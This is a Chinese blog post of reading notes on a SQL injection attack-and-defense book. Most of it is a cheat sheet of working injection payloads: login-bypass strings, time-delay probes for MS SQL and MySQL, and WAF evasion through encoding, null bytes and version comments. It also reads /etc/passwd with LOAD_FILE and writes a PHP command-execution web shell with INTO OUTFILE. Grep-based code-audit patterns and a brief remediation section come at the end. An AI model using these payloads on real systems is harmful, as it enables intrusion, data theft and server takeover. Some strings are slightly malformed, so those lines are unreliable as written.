读《SQL注入***与防御》笔记

‘ //单引号报错,转义
%bf%5c%27 //宽字节注入,数据库编码为GBK时,%bf%5c认为是一个字节,绕过PHP正则
UNION ALL SELECT LOAD_FILE(‘/etc/passwd‘)-- //读取系统文件
UNION SELECT "<?system($_REQUEST[‘cmd‘];?>)" INTO OUTFILE "/var/www/html/127.0.0.1"-- // 写入后门

and 1=1 和 and 1=2 //数字类型注入条件判断
原理:+1 和 -1 编码后://经测试,需要编码后测试 %2B1为+1,-1为-1,-号编码后也是-所以直接用-号测试好了

hacker 和 hack‘ + ‘er 或 hack er //字符型注入条件判断
‘ and ‘1‘=‘1 和 ‘ and ‘1‘=‘2 //同上

#检测构造的时候,如果发现跳转页面,比如首页。会有两种情况存在;
#1、后台判断参数化查询,如果不符合参数类型则跳转,不存在注入漏洞
#2、后台判断是否正常返回记录值,如果没有则跳转,存在注入漏洞

and 1=0/@@version;-- //字符串转化为整数 看版本
and 1=0/user;-- //字符串转化为整数 看当前数据库用户

1‘ GROUP BY productid having 1‘=‘1 //枚举所有列
1‘ and USER not in (‘admin‘) and 1=0/USER and 1‘=‘1 //判断当前账户权限,是否为管理员

常用内联测试字符串及变形:
字符型
1‘ or ‘1‘=‘1
1‘) or (‘1‘=‘1
value‘ or ‘1‘=‘2
value‘) or (‘1‘=‘2
1‘and ‘1‘=‘1
1‘) and (‘1‘=‘1
1‘ or ‘ab‘=‘a‘+‘b‘
1‘) or (‘ab‘=‘a‘+‘b‘)
1‘ or ‘ab‘=‘a‘b
1‘) or (‘ab‘=‘a‘b)
1‘ or ‘ab‘=‘a‘||‘b
1‘) or (‘ab‘=‘a‘||‘b
数字型
1+1
3-1
value+0
1 or 1=1
1) or (1=1
value or? 1=2
value) or (1=2
1 and 1=2
1) and (1=2
1 or ‘ab‘=‘a‘+‘b‘
1) or (‘ab‘=‘a‘+‘b‘
1 or ‘ab‘=‘a‘‘b‘
1) or? (‘ab‘=‘a‘‘b‘
1 or ‘ab‘=‘a‘||‘b‘
1) or (‘ab‘=‘a‘||‘b‘

登陆弱口令
admin‘--
admin‘)--
admin‘#
admin‘)#
1--
1)--
1 or 1=1--
1) or 1=1--
‘or ‘1‘=‘1‘--
‘) or ‘1‘=‘1‘--
-1 and 1=2--
-1) and 1=2--
‘and ‘1‘=‘2‘--
‘) and ‘1‘=‘2‘--
1/comment/

microsoft sql 时间延迟
aspx?id=1; waitfor delay ‘0:0:5‘;--

mysql 时间延迟
php?id=1; select benchmark(10000000,encode(‘hello‘,‘mom‘);--

利用篇
@@version #DBMS版本
@@servername #安装SQL server服务器名称
@@language #当前使用语言
@@spid #当前用户进程ID

11+union+select+null,null,null,null-- 嗅探列数
11+order+by+6 排序方式实现嗅探列数,实际列数 6-1=5列
#排序方式实现结合 二分法算法实现 可提高效率
#UNION对已知表数据查询速度会更快一些

asp?id=12;if+(system_user=‘sa‘)+WAITFOR+DELAY+‘0:0:5‘-- mssql判断是否为dba权限
select len(system_user) 获取用户名长度

绕过技术:
1.随机大小写绕过
SeLect
2.URL编码绕过
‘%2f%2a/UNION%2f%2a/password%2f%2a/FROM%2f%2a/table_User%2f%2a/...
3.双URL编码绕过
%252f%%252a
/UNION%252f%%252a*/...
4.动态查询绕过
Oracle:‘SELE‘||‘ct‘ 编码后 ‘SELE‘%20‘ct‘
MS-SQL:‘SELE‘+‘ct‘ 编码后 ‘SELE‘%2B‘ct‘
Mysql:‘SELE‘+‘ct‘ 编码后 ‘SELE‘%2B‘ct‘
5.ASCII码编码绕过
char()
6.使用空字节
%00‘ UNION SELECT password FROM table_User WHERE username=‘admin‘--
7.嵌套剥离后的表达式
比如SELECTSELECT,只过滤了其中一个
8.利用截断
单引号或双引号或扩展闭合截断
9.GET,POST方式切换

/**/ 单行注释
--? 多行注释

mysql单行注释符

SELECT 1 /!40119 + 1/ 加!号后,如果当前数据库版本等于大于4.01.19则代码被执行

value//or//1=1?? //空格绕过

审计技术

grep -r -n "(mysql|mssql|mysql_db)query(.*\$(GET|POST).*)" src/ | awk -F : ‘{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}‘

#对文件目录遍历,src为路径,php版
grep -r -n "(oci|ora)parse(.*\$(GET|POST).*)" src/ | awk -F : ‘{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}‘

#java版
grep -r -n "preparedStatement(|executeQuery(|executeUpdate(|execute(|addBatch(|executeBatch(" src/ | awk -F : ‘{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}‘

#C#版
grep -r -n "SqlCommand(|SqlParameter(|OleDbCommand(|OleDbparameter(\OracleCommand(|OracleParameter(|\OdbcCommand(|Odbcparameter" src/ | awk -F : ‘{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}‘
#查是否存在注入点
grep -i -r -n "sql =.*\"(SELECT|UPDATE|INSERT|DROP)" src/ | awk -F : ‘{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}‘

注入类型:
1.时间延迟注入
aspx?id=1; waitfor delay ‘0:0:5‘;--
分割sql语句,前面sql语句如果为假,则执行后面语句 waitfor delay ‘0:0:5‘;-- 判断返回时间是否延迟了5秒
2.基于错误注入
asp?id=1/is_srvrolemember(‘sysadmin‘)
上述构造是利用返回错误,反推构造sql条件
3.基于内容
asp?id=2、asp?id=2-1、asp?id=2%2B1(asp?id=2+1)、
利用返回内容,测试是否存在sql注入,后面可以写为其他条件

修复漏洞:
输入验证,即参数化查询,强制数据类型及字符串长度控制。
数据类型、数据大小、数据范围、数据内容
正则过滤,白名单正则(不推荐黑名单正则,世面一般都是用的黑名单正则)

读《SQL注入***与防御》笔记

上一篇:Python Scopes and Namespaces


下一篇:python3访问mysql